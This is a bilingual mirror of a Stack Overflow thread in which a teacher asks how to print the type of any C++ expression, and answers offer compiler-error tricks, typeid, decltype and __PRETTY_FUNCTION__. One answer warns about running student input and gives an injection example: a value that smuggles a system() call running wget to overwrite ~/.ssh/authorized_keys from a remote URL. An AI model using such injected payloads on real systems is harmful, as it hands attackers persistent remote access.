打印任意 C++ 的类型表达式

发布于 2024-12-07 13:00:06 字数 282 浏览 0 评论 0原文

我有兴趣编写一个用于教学目的的工具,用于评估 C++ 表达式并打印其类型。本质上,我的想法是我的学生可以输入任何表达式,程序将回显表达式的类型。是否有现有的工具可以做到这一点?如果没有,是否有一种非常简单的方法可以通过与现有编译器集成并调用其调试器或 API 来实现?例如,有人告诉我,Clang 有一个相当完整的编译器 API,也许有某种方法可以将字符串与适当的包含指令一起传递到 Clang 中,并让它吐出一个类型?

我意识到,如果目前还没有类似的项目,这可能是一个巨大的项目。我只是认为它具有重要的教育价值,所以看起来值得检查。

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?

I realize that this is potentially a huge project if there's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(4

转身以后 2024-12-14 13:00:06

受本·沃伊特评论的启发,我想出了一个答案。只需创建一个错误,然后让编译器告诉您导致该错误的类型:

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

结果:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

另外,因为您只执行编译器,你很安全。确实不需要沙箱。如果您得到除“对 void foo(T) 的未定义引用”以外的任何内容,则它不是表达式。

[编辑] 你会如何将其放入工具中?简单,使用宏

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

现在使用 $(CC) /D=(EXPR) TestHarness.cpp 进行编译。使您不必每次都重建输入文件。

I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

Result:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.

[edit] How would you put this into a tool? Simple, with macro's

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.

只为守护你 2024-12-14 13:00:06

进一步改进 MSalter 的改进

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

结果(使用 $user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

这避免了链接步骤。


原始答案:

C++ 有 typeid 关键字。从概念上讲,您只需将用户的表达式粘贴到一些样板中,例如:

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

然后将该源文件传递给编译器,并运行它以获得答案。

实际上,很难避免运行恶意代码。您需要使用某种类型的沙箱。或者要非常小心,确保没有不匹配的括号(你确实知道什么是三字母,对吧?)。

是的,我知道 typeid 的参数没有被评估。但让 $usercode1);系统(“wget -O ~/.ssh/authorized_keys some_url”

更好的选择是避免运行该程序。使用如下框架(需要 C++11):

extern "C" decltype( $user_code )* the_value = 0;

您可以使用以下选项运行编译器生成调试数据,然后使用例如 dwarf2 读取器库并获取与 the_value 关联的符号类型信息,然后删除一级指针。

Improving yet more on MSalter's improvement:

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

Result (with $user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

This avoids the link step.


Original answer:

C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

And then pass that source file to the compiler, and run it to get the answer.

Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).

yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !

A better option would be to avoid running the program. With a framework (requires C++11) like:

extern "C" decltype( $user_code )* the_value = 0;

You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.

灯角 2024-12-14 13:00:06

以下是在 GCC 和 Clang 中使用 __PRETTY_FUNCTION__ 执行此操作的一种方法:

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

输出关于海湾合作委员会

my_class<int&, std::vector<double> > [20]

Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

Output on GCC:

my_class<int&, std::vector<double> > [20]
我的痛♀有谁懂 2024-12-14 13:00:06

我有兴趣编写一个用于教学目的的工具,用于评估 C++ 表达式并打印其类型。本质上,我的想法是我的学生可以输入任何表达式,程序将回显表达式的类型。是否有现有的工具可以做到这一点?

如今,有一种这样的工具——在线。但它只是作为一个意想不到的副产品做你想做的事情。我说的是 Matt Godbolt 的编译器资源管理器

您的“程序”将如下所示:

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

现在,如果您将 123 替换为 C++ 表达式,您将 get,在编译器错误消息部分,如下:

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

第一行有您想要的类型,位于尖括号内。

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?

These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.

Your "program" will look like this:

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

The first line has your desired type, within the angle brackets.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文